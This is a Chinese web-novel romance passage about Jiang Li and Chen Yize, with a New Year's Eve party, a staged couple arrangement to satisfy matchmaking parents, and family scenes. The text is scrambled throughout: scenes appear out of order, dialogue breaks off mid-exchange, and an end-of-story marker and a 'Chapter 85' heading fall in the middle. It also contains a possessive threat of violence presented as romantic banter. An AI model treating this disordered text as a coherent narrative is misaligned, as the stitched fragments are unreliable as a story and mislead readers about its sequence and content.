他看着很赶时间的样子,姜厘怔了下,连忙摆手。 “送我回家。” “?”七八张嘴报出十几样分属于不同国家的美食菜名,姜厘握着刀把,看着屋内一张张嗷嗷待哺的嘴,迟钝讷讷道:“……他们好像什么都吃。” “随便买些吧,拜托啦。” 元旦前的气氛全球通用,不远处已经有广场的烟花预演,别墅外的园艺工正在认真地为花园换上新的草皮,冷空气不时飘过夹杂着泥土和青草的凉冽气息。 姜厘一边杀鱼一边跟鱼道歉,围裙不时溅出血点,陈屹泽在人圈拧眉看了半天,最后终于忍不下去,过去帮她一刀毙命了那条可怜的鲤鱼。 姜厘目瞪口呆,慢慢竖起一个大拇指:“还是你心狠手辣。” 陈屹泽又被气笑了。 “能不能说我点好?” 徐轻川握着高脚杯,晃了晃里面的红酒强行路过,一语道破:“你不就喜欢这样的吗?” 就喜欢虐他的。 姜厘莫名其妙跟着一起笑,最后被连坐收拾了一通。 临到午夜开餐前,嘴唇还是肿的。 陈屹泽永远都是那么可恶! 万幸的是她成功做出了一道美味的红烧鱼,虽然是一边看着国内抄来的菜谱做的,但已经是她进军厨艺圈的伟大一步。 姜厘表情瞬间裂开。 那你就多余说这话!陈屹泽翻来覆去看了好一会,又从床上弹起来,取出日记本,扯了段纸胶带把它贴在最新一页,并且在下面附文一句。 [这就是姜厘写的,你看她是不是真的很无聊,但也很有趣,或许以后和她能时常见面。] 入睡前,陈屹泽给三叔发消息,询问之前小老叔帮他打听过的补习班,还有学籍问题。 这是起了重新念书的想法,三叔激动不已,立刻回电,但因为陈屹泽迅速入睡没能接到,导致三叔误会他是三分钟热度,并且翌日清早带着三婶冲上门来把人教育一遍。 陈屹泽笑着听完,表示自己一定会好好念书,最后甚至好心情地哄着三叔多吃点,就此乐呵呵地出门去。 话是这么说。 “这臭小子全吃完了我还让我吃呢,”陈慎看着面前几个光溜溜的碗盘,后知后觉意识到自己在严肃教育的时候,小兔崽子手没停过,煎饺烙饼全吃了,“不是,他这一大早上哪去?” 陈兰靠在门边织着顶婴儿帽,笑呵呵地说:“帮忙去。” 刘霞面带忧色,“不是说好了,那九家人以后不用每天上门照顾了吗?” 作为三婶,刘霞对陈屹泽十分记挂,本就心疼他奔波多年,如今眼瞅着日子好过些,听见孩子又要出门帮忙,难免心中难受。 陈兰让她宽心,“是小姜老板搬到小镇了,他去搭把手。” “小姜老板?”陈慎有些惊讶,但立马点头说,“那屹泽是要去帮帮忙的。” 说完还觉得不够,转头和媳妇商量:“咱们下午点也带着东西过去看看。” “成啊。”刘霞很赞同。 陈兰笑着说:“能帮得上忙就好,就怕小姜老板不愿开口,要没她,咱家现在还不定是什么样呢。” “你啊,放宽心吧,都好起来啦。”刘霞搂了搂陈兰,又揉揉她的肩膀。 陈慎看她们妯娌抱在一起,自己也慨然,奈何无人可以拥抱,只好装作很忙的样子抬起碗喝了口空气,想起大侄子早已对桌上早点进行过风卷残云式的袭击,只好搁下碗,嘀咕句“小兔崽子”。 小兔崽子这两天比较烦恼。 一是因为老屋这边可以参与的活计太少,大家分工有序,有小姜老板正儿八经地严肃表态在前,哪个师傅都不肯让陈屹泽再插手帮忙。至于姜厘那些行陈,她自己整理了好几天,事关她的私人物品,陈屹泽更没办法插手。 这些都是小事儿。 比较严重的一个问题是:陈屹泽至今没有姜厘的联系方式。 居然连电话都没有。 考虑到网上那些流言,所以陈屹泽能够理解姜厘不愿意用手机这个行为,但彼此没有联系方式终究不方便沟通。 至于陈屹泽有什么急需和姜厘通过手机沟通的东西。 他当真仔细思考过。 结论是什么都没有。 尽管如此,他还是想要知道姜厘的电话,再不济,微信也行啊。 说话不算数,跟放屁有什么区别?!车弯和黛西两位娘子军去餐厅打包了一整个包厢的菜,加上之前的十一道,三米长的横厅餐桌已经尽数摆满了。 不同肤色的青年围坐在同一条长桌上蓄势待发,在跨年的最后关头,总得有人说点什么,有人起哄让陈屹泽开口。 男生懒懒散散坐在姜厘身边,已经霸占了那道红烧鱼,看样子半句话都不想发言。 但总归是在他的别墅办的party,车弯随便糊弄了两句后,男生还是举杯起了个头。 “那就,举杯幸会有缘人——” 他侧眸,高脚杯戕地一声,和一旁女生的杯子撞上。 液体摇摇晃晃,溢出杯唇。 气氛霎时间涌上高点,姜厘也看向他,咬唇对得工整:“相逢一笑醉乾坤!” 徐轻川拍案叫绝:“好!!我靠你俩文学院的吧!什么时候还会这手了?” “什么意思啊?听不懂思密达。”伊登抓狂中。 “别管什么意思了,快吃吧!一会抢完了!!” 刀叉筷子,乱七八糟的餐具齐齐下场,窗外又开始飘起小雪花,地窖的酒柜空了一半,全搬了上来。 酒过三巡,姜厘撑着酡红的脸看着四周。 吉恩破除古板男传言,和伊登火力全开开始斗舞,黛西和学校的乐队一起打碟一起合唱霉霉的歌,车弯跟一位印度小哥热血掰手腕,陈屹泽和徐轻川坐在地毯上叼烟打着电动。 手机在口袋忽地嗡嗡震动,看到联系人上的“妈妈”字样,姜厘拍了拍脑袋让自己清醒了些。 视频接入,姜如云那边的背景已经回到了小镇的家,画面简洁干净。 姜厘把摄像头反转给她看现在乱成一锅粥的画面,呵呵笑得已经有几分醉态。 姜如云喋喋不休地讲着老生常谈的话,每到这时,她总会提到爸爸,过去的姜厘也总是附和,然后一起进入悲伤的环境。 今天的她却左耳朵进右耳朵出,没一会忽地声音低下来,只沉浸在自己的世界。 “妈妈,我做到了。” 她感觉好自由。 感觉世界是待染的画布,她永远有执笔挥斥的权力。 新的一年,她不会再因为什么不确定感而去做傻事,因为身边永远有无条件爱她支持她的人,她被保护得很好,未来也可以去勇敢保护别人。 勇敢到就算失去什么人,也不会丧失自我。 要新的一年了,还差半小时。 “我希望你也可以做到,自由地做自己。” 姜厘视线深邃,像要透过视频看到姜如云的眼睛,“如果可以,妈妈,暂时放下爸爸的事情吧,我们先做自己。” “谁占便宜了不懂?”细长指节轻叩桌面,陈屹泽牵唇,口吻拿捏。 人的遐想是无限的,前期引子抛到位,后期大部分留白都能被丰富的想象力自然填补完毕。 玻璃格子下光源渺渺茫茫,座椅摆在花园两束地灯中间。 昏黄的暗光下,看狗都深情。 姜厘和陈屹泽两人刻意躲了点人群,害怕还没磨合好的演技一不留神露馅,于是两人远处的激情互骂情形,落在中年四人组眼中十足十的卿卿我我。 太粘腻了,小年轻。 四位友情二十余年的老友视线模糊朦胧,统一收回目光,举杯。 阿姨明里暗里地打听两人近况,陈屹泽了然,答应得很顺从。 [我中午接她一起吃饭。] 姜厘抿抿唇,发了个位置过去:[到楼下打我电话,我下楼。] 陈屹泽:[行。] 都是一起上课的,难得热闹,姜厘果断答应了,随后又有些纠结:“可是准备的菜好像就不够了。” 陈屹泽这次不下厨,他不伺候那么多人,找了个中餐厅的大厨过来炒了十个菜。 姜厘看着大哥两小时猛炒十道菜,直接自信心爆棚,留了条鱼决定自己发挥。 可加上那鱼也才十一道菜,这边菜量小,一会大概会有二十几个人,怎么算都是不够吃的。 “不然你开车带我们去买?” 黛西有些揶揄,终于找准机会跟她谈起这个话题:“是吧,CZ,让我们感受一下你的拉力赛实力。” “什么……CZ?”姜厘一脸懵。 “别藏了宝宝,那天我和伊登一块去出租房搜摄像头,我就看到枕头下面的那个超跑赛奖牌了,保护得特别好,压在枕头底下,你肯定特别爱惜吧?” “……”《 》 【正文完结】 第 85 章 第 85 章 爱惜,她一度爱惜到要把这东西扔到查尔斯河去,要不是冬季结冰,这东西根本活不到现在! 姜厘含泪,默默无声。 车弯何等人精,马上反应过来这是个乌龙,随手揽了揽姜厘的肩,而后朝不远处被围拥的男生晃了晃手。 “陈屹泽,接你车用下。” 抛来的钥匙被稳稳接住,车弯拽着不明所以的黛西往门外走,离开前黛西还找在场的第二富哥吉恩诓来了卡,预估会纵情消费一波。 两位惹眼的姐妹花并肩往外走着,其中右侧的白人女生忽然想到什么,扒着门向内提问:“等下,忘了问大家都想吃什么菜啊?” 狂欢中的众人齐齐回头。 “印度黄油鸡!!” “西班牙海鲜饭!” “奶酪焗鳕鱼!” “火锅火锅火锅火锅!重庆火锅!” 屏幕蓝光照在脸上,姜厘抿抿唇,硬着头皮回他:[我找个托去宾馆假装开房,然后你找人一块去捉.奸,简单来说就是] 姜厘:[我得绿一下你。] 好兄弟,绿一下,拜托了。是怎么能误解到这种姜度的,姜厘噎得彻底,彻底懒得跟他讲话了。 许是酒精加暖风的双重效果,女生一路浅浅打了个盹。 她最后是被陈屹泽拍醒的,他还谨记着陈阿姨的提醒,下车后又跟着送到单元楼下才停。 从下车到走路到单元楼,大概五分钟距离,如此长的时间内,陈屹泽竟然没犯一次贱,姜厘惴惴不安,甚至有些不敢上楼。 她回头盯着男生漫不经心的神情,水眸涟漪,像是有话要说。 陈屹泽有些无语,挑眉,看透般地闲闲开口,“怎么,邀请我上去坐坐?” “滚,死变态。”姜厘怒骂出声。你,做,梦。 姜厘刚要捍卫骨气踹凳子走人,下一秒,隔壁桌忽然传来两声清咳。 赵多漫围巾帽子装备齐全,坐在角落手举应援条,唇形清晰: 冷静,想想钱! “我不跟你开玩笑陈屹泽,”姜厘憋屈地重新找回话题,她盯着桌面上盘旋的纹理,口吻认真到像是要拉着他互诉衷肠。 “午餐时候你也听到了,我坦白,我这边确实经常收到双方家长对我们俩的撮合,而且不止是你,还有其他一些富家子弟,我妈对我这方面把控很严,我不知道陈阿姨那边有没有——” “有。”陈屹泽拿起刚进门时姜厘手中的那本专业书籍,低眸哗哗翻出嘈杂的书页声,不像是在阅览,倒像是在检查里面是否夹杂着别的东西。 姜厘忧心忡忡,脚尖从围巾中探出,刚要落地踩在那双男士拖鞋上,笃笃两声,门再次响起—— 叩门的是商场柜员,进门后热情亲昵地帮他们把预订的货品拆开检验了一遍。 她看到姜厘赤着的脚,刚要提供试穿服务,忽地听到身后男生简短的一句“Thats all.” 他压低气场,接过包装盒里的鞋袜,柜员小姐姐便风也似地离去。 姜厘环着抱枕,看到陈屹泽半蹲下,一丝不苟地把袜子给她穿好,然后是及膝靴,慢慢提到小腿上方。 动作缓慢,张弛有度,没有发火。 姜厘闻到转机的味道,瞬间轻松了不少。 她站起来先彩虹屁地吹了一通陈屹泽的眼光,然后大谈特谈没有他自己该怎么办,最后转移话题,放低姿态,抛出可怜巴巴的请求—— “哥哥,这些东西好重,我一个人搬不动,你能帮帮我嘛?” 陈屹泽掀唇,抛出不紧不慢的一个“好”字。 呼。 姜厘心放到肚子里,踩上没进水的鞋子,又健步如飞了。 已经磨蹭到晚七点,外面天都黑了,要赶紧把东西都腾出去,忙完还有due要赶。 床边堆着的杂志其实已经不需要了,但为了彰显自己的弱小无助,姜厘还是递给陈屹泽拜托他帮忙搬运。 她眼珠滴溜溜转,顺带佯装不在意地开口道:“哥哥,你还记得前几天你趴在我腿上说的话嘛?” “你说……我们能再磨合一次吗,这次你会听话。” 姜厘很给面子地把陈屹泽原话中的“再调我一次”换了个更体面的说法。 “所以,那句话是真的吧?今天的事你不会放在心上的对吧?” 她怯怯地猫着腰把杂志递过去。 重量不轻的杂志堆传递到陈屹泽肘部,男生轻松抬起,掠过她时,无情地打破了姜厘的所有幻想。 “假的,让我逮住你跟其他男人一起,我还是会弄死你。” “嗯?”你怎么看出来的? “但你俩不太合适,”陈屹泽绕了个弯,拖着慢腔口吻徐徐,“那么年轻有为的男生,不该被你糟蹋。” 餐厅鸦雀无声。 心高气傲的陈大少爷还不知道他在不知情的情况下已经被人拒了八百次。 两家知根知底,陈屹泽人品外貌各方面数一数二,结婚的两项重头戏都已经考察完毕。在相识长辈眼中,两人距离携手推开婚姻大门只需要再加那么一丁点微不足道的私人感情。 而感情,是可以培养的。 都半个青梅竹马了,还长着那么一张脸,按道理早该浓情蜜意。 于是李帷清女士为了自己心中的闺女好嫁人选top1,每次去实行催婚行为时都会精挑细选一张陈屹泽的相片带去。 历经半年,姜厘现在手头的照片已经能给少爷办个私人写真展了。 且同样,她有多少张照片,李女士就给她暗示过多少次陈屹泽。 陈屹泽在她愣神的脸上望了一眼,男生垂眸,眼尾有些淡漠, “她总提起你。” “那既然双方父母意愿这么强烈,不如我们演段情侣?” 演字被刻意咬紧,姜厘忧心忡忡盯着他的眼神胆怯又莽撞,带着生涩的赤诚。 陈屹泽搞不懂她为什么总怕他。 他沉默得突然,视线在她脸上停留半晌,直到姜厘头皮发麻,以为他不会再出声, 男生才慢腾腾地扯了下唇,笑得有些无所谓。 “可以,” “我都随便。” 不远处的白人夫妇围着篝火弹吉他,姜厘抱膝,目光仍望向远方。 “十年前我爸爸刚去世时她简直活不了,我知道她能支撑下去都是因为我,那段时间太消沉了,让我觉得我完全是爸爸的附庸品,她天天哭,开始她哭我也哭,后面慢慢我就不哭了。” “人总要往前走啊,其实我们家生意还不错,有大城市的老板考察过要帮我们开分店,但我妈妈不愿意,她说要一直守着我爸爸。她不能离开他。” “之前我也因为有关系这么好的父母感到开心,但现在我倒希望妈妈没有那么爱我爸,不然也不用每次开心或者难过,只要有一点情绪波动,都会在心里感叹,如果爸爸还在就好了。” “这样太累了,悲欢喜乐都寄托在别人身上,可别人始终是个不定量,那自己怎么办?” “我要最爱自己。” “所以我甚至不能给出类似于‘我会一辈子都和你在一起’的承诺。”姜厘别过脸看他,目光如炬,“你能理解吗?” 她没有和陈屹泽一样的,汹涌到爱上一个人就不择手段的内心。 漫天雪花飘飘洒洒,楼下和街巷的人群霎那间都冒出声,疯狂倒数着庆祝新的一年。 夜空焰火冲天,陈屹泽轻笑一声,握着的酒瓶忽地撞上她的杯子。 冷风过境,红酒洇湿毛毯,姜厘耳边,他的嗓音散漫而清隽。 “那就祝我们——” “新的一年,” “继续纠缠。”- 正文完。《 》